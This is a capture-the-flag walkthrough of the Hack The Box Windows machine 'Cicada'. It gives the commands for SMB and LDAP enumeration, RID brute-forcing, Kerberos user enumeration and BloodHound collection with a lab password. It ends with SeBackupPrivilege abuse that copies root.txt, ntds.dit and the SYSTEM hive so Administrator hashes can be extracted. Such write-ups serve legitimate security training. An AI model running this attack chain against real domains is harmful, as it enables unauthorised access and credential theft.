# HTB | Cicada

This is a Windows box. You can find it [here](https://app.hackthebox.com/machines/Cicada).

#### Skill Learned

* ldapdomaindump / bloodhound
* SeBackupPrivelege

## NMAP

**IP:** 10.10.11.35

```
nmap -sT -p- --min-rate 10000 10.10.11.35 -Pn
```

<figure><img src="https://2050535832-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FC1JOqzbmZkOvdQTzItEo%2Fuploads%2FJVFP9LGNlTUWNdAzZ72L%2Fimage.png?alt=media&#x26;token=8709a8ae-c900-4953-b01d-7829bfb1e5d5" alt=""><figcaption></figcaption></figure>

```
nmap -sC -sV -p 53,88,135,139,389,445,464,593,636,3268,3269,5985,59969 10.10.11.35 -Pn
```

<figure><img src="https://2050535832-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FC1JOqzbmZkOvdQTzItEo%2Fuploads%2FmV8fREsJLDBhORz419G3%2Fimage.png?alt=media&#x26;token=3c092bd6-a479-4e73-bc1e-b8a726c10b2e" alt=""><figcaption><p>nmap</p></figcaption></figure>

### SMB & RPC

```
smbclient -L 10.10.11.35 -N
```

<figure><img src="https://2050535832-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FC1JOqzbmZkOvdQTzItEo%2Fuploads%2FEl7rwuJsD9gzwYnVQpGY%2Fimage.png?alt=media&#x26;token=37c49aa7-70e6-4838-9439-0c8ff5a3f7b1" alt=""><figcaption></figcaption></figure>

There was a file in the HR share

```
smbclient //10.10.11.35/HR
```

<figure><img src="https://2050535832-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FC1JOqzbmZkOvdQTzItEo%2Fuploads%2F1jDUT4n2xbH25Qzh96M9%2Fimage.png?alt=media&#x26;token=c75a6ce6-c9eb-4ab1-b0dc-897d9ddf0fd7" alt=""><figcaption></figcaption></figure>

<figure><img src="https://2050535832-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FC1JOqzbmZkOvdQTzItEo%2Fuploads%2FIqyYK8apl6EICm0nG28O%2Fimage.png?alt=media&#x26;token=241dad21-475c-4a0b-9739-145c327d1ea0" alt=""><figcaption></figcaption></figure>

Since we have a password we can enum for the user

### LDAP - TCP 389

```
ldapsearch -H ldap://10.10.11.35 -x -s base namingcontexts
```



<figure><img src="https://2050535832-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FC1JOqzbmZkOvdQTzItEo%2Fuploads%2FJlgEEyTAeXt6JX1ha3LU%2Fimage.png?alt=media&#x26;token=7282e1e4-2e0a-45cb-9bb4-75e890c0ebef" alt=""><figcaption><p>ldapsearch -H ldap://10.10.11.35 -x -s base namingcontexts</p></figcaption></figure>

## Foothold/shell

Without creds, one thing I can check for is usernames via Kerberos brute-forcing. I’ll use [Kerbrute](https://github.com/ropnop/kerbrute) to give this a run, and it finds four unique usernames:

```
./kerbrute userenum -d cicada.htb /usr/share/wordlists/seclists/Usernames/xato-net-10-million-usernames.txt --dc 10.10.11.35
```



It is taking alot of time. we can use crackmapexec to brute-force rid

```
crackmapexec smb 10.10.11.35 -u anonymous -p "" --rid-brute
```

<figure><img src="https://2050535832-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FC1JOqzbmZkOvdQTzItEo%2Fuploads%2FM0ulbiN4WczBpWQFJSJd%2Fimage.png?alt=media&#x26;token=0e67e18d-245a-46ff-a612-e7f713ec9cb7" alt=""><figcaption><p>crackmapexec smb 10.10.11.35 -u anonymous -p "" --rid-brute</p></figcaption></figure>

from this, we have 5 users

<figure><img src="https://2050535832-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FC1JOqzbmZkOvdQTzItEo%2Fuploads%2FAhXHcJdew5QJHmmWVCz3%2Fimage.png?alt=media&#x26;token=384a636e-36b4-466f-a9bf-dd5fdd7db86b" alt=""><figcaption><p>user.txt</p></figcaption></figure>

Let's see if the password we got has a valid user or not for smb

<figure><img src="https://2050535832-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FC1JOqzbmZkOvdQTzItEo%2Fuploads%2FIRPOlz0EpdVgIGNCrRDP%2Fimage.png?alt=media&#x26;token=4acce2db-9718-4578-a1a1-1924f17685f2" alt=""><figcaption></figcaption></figure>

and we get a user _michale.wrightson._ Let's take a look at what share access michale have

<figure><img src="https://2050535832-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FC1JOqzbmZkOvdQTzItEo%2Fuploads%2F24DifbKx9eJtNxNXEyle%2Fimage.png?alt=media&#x26;token=ac65ae51-0baa-4a03-a73d-fe0dc02c3f30" alt=""><figcaption></figcaption></figure>

It's the same access we have before Let's try Evilwinrm, but no luck

<figure><img src="https://2050535832-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FC1JOqzbmZkOvdQTzItEo%2Fuploads%2FnvHR5MT94asGwwYp9nVO%2Fimage.png?alt=media&#x26;token=93ba52cd-d177-4227-9388-fcc142b9de5e" alt=""><figcaption></figcaption></figure>

### Bloodhound/ ldapdomaindump



Since we have valid domain cred we can use _bloodhound_

```
bloodhound-python -u michael.wrightson -p 'Cicada$M6Corpb*@Lp#nZp!8' -d cicada.htb -ns 10.10.11.35 -c All
```

<figure><img src="https://2050535832-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FC1JOqzbmZkOvdQTzItEo%2Fuploads%2F5uPcBZvdDwuGZ99hLvaE%2Fimage.png?alt=media&#x26;token=d997323d-274f-4b21-9cc1-bb9e2338d911" alt=""><figcaption><p>bloodhound-python</p></figcaption></figure>

Let's load the files in Bloodhound

Not able to find anything useful from the owned user (michale.wrightson)

Let's try [ldapdomaindump](https://github.com/dirkjanm/ldapdomaindump) because it gives us a nice HTML file

```
sudo python3 /opt/ldapdomaindump/ldapdomaindump.py ldaps://10.10.11.35 -u 'cicada.htb\michael.wrightson' -p 'Cicada$M6Corpb*@Lp#nZp!8'
```



<figure><img src="https://2050535832-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FC1JOqzbmZkOvdQTzItEo%2Fuploads%2F3G6Uknsa0CgAqtaCFKOg%2Fimage.png?alt=media&#x26;token=3879c9f9-1325-4daf-9d0a-91ce783ffcfc" alt=""><figcaption><p>ldapdomaindump</p></figcaption></figure>

We found the password for _david.orelious_

<figure><img src="https://2050535832-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FC1JOqzbmZkOvdQTzItEo%2Fuploads%2F1re7n8NNwGIJNVDzG4Fg%2Fimage.png?alt=media&#x26;token=c0c7fc36-a902-4e26-b260-917bebc55355" alt=""><figcaption></figcaption></figure>

Let's try for SMB and WinRm, we can only validate for smb

<figure><img src="https://2050535832-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FC1JOqzbmZkOvdQTzItEo%2Fuploads%2FtGM38ziKPetysFrdZrX6%2Fimage.png?alt=media&#x26;token=e65ba1c4-4147-43f1-a38a-f3c55d5f6813" alt=""><figcaption></figcaption></figure>

This time we have READ ONLY to DEV share

<figure><img src="https://2050535832-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FC1JOqzbmZkOvdQTzItEo%2Fuploads%2FsBfZmD5MZ4Y2x3CbIhrq%2Fimage.png?alt=media&#x26;token=a6a8bf7e-0851-4b71-b6dd-79ae626437f3" alt=""><figcaption></figcaption></figure>

We found backup\_script.ps1 in DEV share. Lets download the script to our system and take a look.

<figure><img src="https://2050535832-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FC1JOqzbmZkOvdQTzItEo%2Fuploads%2Fslk8lIp1Pk2Ky8qylTlD%2Fimage.png?alt=media&#x26;token=5e5ace6a-a717-4bf7-9640-15aa93a0ff48" alt=""><figcaption></figcaption></figure>

<figure><img src="https://2050535832-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FC1JOqzbmZkOvdQTzItEo%2Fuploads%2FWk59jPbr3IQJeVKZKNIX%2Fimage.png?alt=media&#x26;token=ffd543c4-9f23-42de-b227-3e72bd1ba546" alt=""><figcaption></figcaption></figure>

The file has cred for _emily.oscar_ Let's try for SMB and WinRm, we can validate for both

<figure><img src="https://2050535832-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FC1JOqzbmZkOvdQTzItEo%2Fuploads%2FmaL3z5QYV0LfeiavPFKx%2Fimage.png?alt=media&#x26;token=1ff081be-5580-41bf-87c5-01857c11d74a" alt=""><figcaption></figcaption></figure>

Let's use EvilWinRM

and we are in

<figure><img src="https://2050535832-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FC1JOqzbmZkOvdQTzItEo%2Fuploads%2FDdVBbsiDK9sRXR4asiNH%2Fimage.png?alt=media&#x26;token=0178e02e-9167-4c57-8769-9d46a142c84b" alt=""><figcaption></figcaption></figure>

found **user.txt**

<figure><img src="https://2050535832-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FC1JOqzbmZkOvdQTzItEo%2Fuploads%2FhNHrUyA6FxgUzK55BaZe%2Fimage.png?alt=media&#x26;token=ec66b049-8600-4c84-9b2b-2fd1091f6037" alt=""><figcaption><p>user.txt</p></figcaption></figure>

## Priv Esc

### SeBackupPrivelege

```
whoami /priv
```

<figure><img src="https://2050535832-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FC1JOqzbmZkOvdQTzItEo%2Fuploads%2FwbTIxLo4Ztzpbpx11CYZ%2Fimage.png?alt=media&#x26;token=c77267ab-a2ee-4768-b5c1-b761275bff66" alt=""><figcaption></figcaption></figure>

we have `SeBackupPrivelege` privilege, we have seen the same privilege in [Blackfield](https://anuragtaparia.gitbook.io/write-ups/active-directory-101/htb-or-blackfield#priv-esc).

SeBackUpPrivilege basically allows for a full system read. This is because _emily.oscars_ is in the Backup Operators group:

<figure><img src="https://2050535832-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FC1JOqzbmZkOvdQTzItEo%2Fuploads%2FMJAw2hEL4UCfhIwo2PJQ%2Fimage.png?alt=media&#x26;token=4f928585-f507-44c2-82b3-84ea9f713085" alt=""><figcaption></figcaption></figure>

This [repo](https://github.com/giuliano108/SeBackupPrivilege) has a nice set of PowerShell tools for abusing the _SeBackupPrivilege_. I’ll clone it, and then I’ll need to upload two files to Cicada:

<figure><img src="https://2050535832-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FC1JOqzbmZkOvdQTzItEo%2Fuploads%2FewZGww0rZd9hCFxcQyGu%2Fimage.png?alt=media&#x26;token=da5129ad-7a37-4833-aaf8-1022d9679607" alt=""><figcaption></figcaption></figure>

Now I'll import them into my current session:

<figure><img src="https://2050535832-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FC1JOqzbmZkOvdQTzItEo%2Fuploads%2FI6vG01VTNrJVEcXKSMrj%2Fimage.png?alt=media&#x26;token=869eb1d0-29bf-4132-89bf-cc253e0b6998" alt=""><figcaption></figcaption></figure>

now we can copy root.txt

```
Copy-FileSeBackupPrivilege C:\Users\Administrtor\Desktop\root.txt root.txt
```

<figure><img src="https://2050535832-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FC1JOqzbmZkOvdQTzItEo%2Fuploads%2F7n3yQzTYKu2wEo2wssO7%2Fimage.png?alt=media&#x26;token=f923e79c-c2a6-4ee6-885c-ee0c3414eba1" alt=""><figcaption></figcaption></figure>

### Beyond root.txt

We can copy `ntds.dit` and `system`

<figure><img src="https://2050535832-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FC1JOqzbmZkOvdQTzItEo%2Fuploads%2F1Ki9vMj5CVWd66RUSnOR%2Fimage.png?alt=media&#x26;token=66358063-3877-4151-9315-62978d770a41" alt=""><figcaption></figcaption></figure>

<figure><img src="https://2050535832-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FC1JOqzbmZkOvdQTzItEo%2Fuploads%2FvypxyWKGsdT8JdNjw03s%2Fimage.png?alt=media&#x26;token=098ed483-7925-486f-b7f0-3fefefd55cb5" alt=""><figcaption></figcaption></figure>

and transfer it to kali and use secretsdump.py from secretsdump.py we will get the hash for the Administrator.





